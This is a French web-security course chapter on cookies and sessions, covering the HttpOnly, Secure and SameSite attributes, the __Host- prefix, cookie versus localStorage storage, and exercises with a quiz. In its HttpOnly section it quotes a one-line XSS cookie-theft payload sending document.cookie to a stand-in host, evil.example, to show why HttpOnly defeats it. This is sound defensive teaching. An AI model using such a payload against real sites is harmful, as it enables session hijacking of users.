Skip to Content

Chapitre 2.2 — Cookies & sessions

⏱️ TL;DR — Un cookie est une petite donnée que le serveur pose (Set-Cookie) et que le navigateur renvoie automatiquement à chaque requête vers le domaine. C’est le support le plus courant de la session. Trois attributs décident de sa sécurité : HttpOnly (invisible au JavaScript → limite le vol par XSS), Secure (envoyé en HTTPS seulement), SameSite (Lax/Strict/None → première ligne de défense contre le CSRF). Bien réglés, avec les préfixes __Host-, ils font d’un cookie de session un support robuste — bien plus sûr que de ranger un token dans le localStorage.

🎯 Objectifs

  • Comprendre le cycle Set-Cookie → renvoi automatique et le lien cookie/session.
  • Régler les attributs HttpOnly, Secure, SameSite, Domain/Path et les préfixes.
  • Choisir en connaissance de cause entre cookie de session et token dans localStorage.
  • Reconnaître les configurations de cookie dangereuses.

Le serveur pose un cookie via l’en-tête Set-Cookie dans une réponse ; le navigateur le stocke et le renvoie automatiquement dans l’en-tête Cookie à chaque requête vers le domaine correspondant.

# Réponse du serveur (à la connexion) : HTTP/1.1 200 OK Set-Cookie: session=eyJ...; HttpOnly; Secure; SameSite=Lax; Path=/ # Puis, à CHAQUE requête suivante, le navigateur renvoie tout seul : GET /api/mes-cours HTTP/1.1 Cookie: session=eyJ...

C’est ce renvoi automatique qui rend les cookies pratiques (l’utilisateur reste connecté) — et c’est aussi ce qui les expose au CSRF (le cookie part même si la requête est déclenchée par un autre site). D’où l’importance de SameSite, plus bas.

Le cookie contient typiquement un identifiant de session opaque (une longue valeur aléatoire) qui référence, côté serveur, les données de session (l’utilisateur connecté, ses droits…). Le cookie lui-même ne contient pas ces données sensibles : il n’est qu’une clé.

Les trois attributs qui comptent

HttpOnly — invisible au JavaScript

Un cookie HttpOnly n’est pas accessible via document.cookie en JavaScript. Conséquence directe : même si un XSS parvient à exécuter du code sur ta page, il ne pourra pas lire le cookie de session pour l’exfiltrer. C’est une atténuation majeure du vol de session par XSS.

Set-Cookie: session=...; HttpOnly

🎯 Côté attaquant — Le vol de session « classique » par XSS ressemble à new Image().src = 'https://evil.example/vol?c=' + document.cookie. Si le cookie est HttpOnly, cette ligne récupère… tout sauf le cookie de session — l’exfiltration échoue sur la partie qui compte. HttpOnly ne corrige pas le XSS (l’attaquant peut encore agir dans la page), mais il ferme la porte du vol de cookie.

Secure — HTTPS seulement

Un cookie Secure n’est envoyé que sur des connexions HTTPS. Sans lui, un cookie pourrait partir en clair sur une connexion HTTP et être intercepté sur le réseau. En pratique : tout cookie de session doit être Secure (et tout le site doit être en HTTPS — voir le chapitre 2.3).

Set-Cookie: session=...; Secure

SameSite — la défense CSRF de base

SameSite contrôle si le cookie est envoyé lors de requêtes cross-site (déclenchées depuis un autre site). Trois valeurs :

ValeurLe cookie est envoyé…Effet
StrictUniquement si la requête part du même site.Protection CSRF maximale, mais casse la navigation entrante (un lien externe vers ton site n’envoie pas le cookie → l’utilisateur paraît déconnecté au premier clic).
LaxMême site, plus les navigations de haut niveau en GET (clic sur un lien).Bon équilibre : bloque les POST cross-site (le cœur du CSRF) tout en gardant les liens entrants fonctionnels. Souvent le défaut des navigateurs modernes.
NoneToujours, y compris cross-site.Exige Secure. À réserver aux cookies qui doivent vraiment être cross-site (SSO, iframes tierces). Sans protection additionnelle, rouvre le CSRF.

Pour un cookie de session, Lax est le choix par défaut raisonnable, Strict si tu peux te le permettre côté UX. None seulement avec une vraie raison — et jamais sans autre défense CSRF.

💡 RéflexeSameSite=Lax est une première ligne de défense CSRF, pas la seule. Elle réduit énormément la surface (les POST cross-site classiques sont bloqués), mais on la complète par des jetons anti-CSRF pour les actions sensibles (Partie 8) — defense in depth. Ne considère jamais SameSite seul comme « le problème CSRF réglé ».

Domain, Path et les préfixes

  • Domain : élargit la portée du cookie aux sous-domaines (Domain=formacampus.fr → envoyé aussi à api. et app.). À utiliser avec parcimonie : plus la portée est large, plus un sous-domaine compromis met en danger le cookie. Sans Domain, le cookie est limité à l’hôte exact (plus sûr).
  • Path : limite le cookie à un chemin. Faible valeur de sécurité (contournable), à ne pas confondre avec un contrôle d’accès.
  • Préfixe __Host- : nommer un cookie __Host-session impose au navigateur qu’il soit Secure, sans Domain (donc lié à l’hôte exact) et avec Path=/. C’est une garantie forte et gratuite pour les cookies sensibles. Le préfixe __Secure- impose au moins Secure.
# Cookie de session robuste : Set-Cookie: __Host-session=eyJ...; HttpOnly; Secure; SameSite=Lax; Path=/

Débat récurrent, surtout côté SPA. Beaucoup de tutoriels rangent le token d’auth (souvent un JWT) dans le localStorage. C’est en général une mauvaise idée du point de vue sécurité :

CritèreCookie HttpOnlylocalStorage
Accessible au JS (donc volable par XSS)Non (HttpOnly)Oui — tout script sur la page peut le lire
Envoyé automatiquementOui (attention CSRF → SameSite)Non (le dev l’ajoute manuellement)
Exposé au CSRFOui, atténué par SameSite + jetonNon (pas d’envoi auto)…
BilanVol par XSS bloqué, CSRF gérableVol par XSS trivial dès qu’un XSS existe

Le point décisif : dès qu’il y a un XSS, un token en localStorage est lisible et exfiltrable en une ligne, tandis qu’un cookie HttpOnly ne l’est pas. On échange le risque CSRF (bien maîtrisé par SameSite + jetons) contre une immunité au vol par XSS — un bon échange. La recommandation générale (OWASP) penche vers le cookie HttpOnly + Secure + SameSite pour stocker l’identifiant de session.

⚠️ Piège — « Le JWT dans le localStorage, c’est plus simple. » Simple, oui ; sûr, non. En cas de XSS, localStorage.getItem('token') livre le jeton à l’attaquant, qui se connecte alors depuis chez lui, sans même rester sur la victime. Et un JWT auto-porté est difficile à révoquer. Préfère un cookie de session HttpOnly ; si tu tiens aux tokens, garde-les hors de portée du JS.

🧭 Sur FormaCampus — La session de FormaCampus est portée par un cookie __Host-session : HttpOnly (un éventuel XSS ne peut pas voler la session), Secure (HTTPS partout), SameSite=Lax (bloque les POST cross-site) et lié à l’hôte exact. L’identifiant de session est opaque (aléatoire, sans donnée sensible dedans) et référence l’état côté serveur, ce qui permet de révoquer une session instantanément (déconnexion, compromission) — impossible avec un JWT auto-porté rangé côté client.

✏️ Exercices

Exercice 1 — Corrige le Set-Cookie. Une appli pose sa session ainsi : Set-Cookie: session=abc. Cite les trois attributs manquants critiques et écris la version corrigée pour une appli HTTPS.

✅ Solution

Manquent HttpOnly (sinon un XSS lit la session), Secure (sinon le cookie peut partir en clair) et SameSite (sinon exposition CSRF maximale). Version corrigée : Set-Cookie: __Host-session=abc; HttpOnly; Secure; SameSite=Lax; Path=/. Le préfixe __Host- et l’absence de Domain renforcent encore (cookie lié à l’hôte exact).

Exercice 2 — Choisis le stockage. Une nouvelle SPA doit garder l’utilisateur connecté. Un collègue propose de stocker le JWT en localStorage « parce que c’est plus pratique ». Quel est le principal risque, et que proposes-tu ?

✅ Solution

Le principal risque : en cas de XSS, un token en localStorage est lisible en une ligne de JS (localStorage.getItem) et exfiltrable — l’attaquant se connecte ensuite depuis chez lui. Proposition : ranger l’identifiant de session dans un cookie HttpOnly + Secure + SameSite=Lax (idéalement __Host-), invisible au JS donc non volable par XSS, et compléter par une protection CSRF (jeton) pour les actions sensibles. Bonus : une session opaque côté serveur est révocable, contrairement à un JWT auto-porté.

🧠 Quiz de révision

1. Que fait l’attribut HttpOnly et contre quoi protège-t-il ?

Il rend le cookie inaccessible au JavaScript (document.cookie ne le voit pas). Il protège contre le vol de session par XSS : même si un script malveillant s’exécute, il ne peut pas lire ni exfiltrer le cookie. Il n’élimine pas le XSS, mais ferme la porte du vol de cookie.

2. À quoi sert SameSite et quelle valeur privilégier pour une session ?

Il contrôle l’envoi du cookie sur les requêtes cross-site, première défense contre le CSRF. Pour une session, Lax est le bon défaut (bloque les POST cross-site, garde les liens entrants) ; Strict si l’UX le permet ; None seulement avec une vraie raison et Secure obligatoire.

3. Pourquoi un token en localStorage est-il risqué ?

Parce qu’il est lisible par tout JavaScript de la page : dès qu’un XSS existe, le token est volé et exfiltré trivialement. Un cookie HttpOnly reste hors de portée du JS. On préfère donc le cookie de session HttpOnly/Secure/SameSite.

4. Que garantit le préfixe __Host- sur un nom de cookie ?

Le navigateur n’accepte le cookie que s’il est Secure, sans Domain (donc lié à l’hôte exact, pas aux sous-domaines) et avec Path=/. C’est une garantie forte et gratuite pour les cookies sensibles comme la session.

5. Que contient (idéalement) le cookie de session lui-même ?

Un identifiant opaque (valeur aléatoire), pas les données sensibles. Cet id référence l’état de session côté serveur (utilisateur, droits). Avantage : rien de sensible ne transite ni ne stationne côté client, et la session reste révocable côté serveur.


Chapitre suivant : HTTPS/TLS : ce qu’il protège — ce que le cadenas garantit vraiment, et les attaques qu’il ne bloque absolument pas.

Last updated on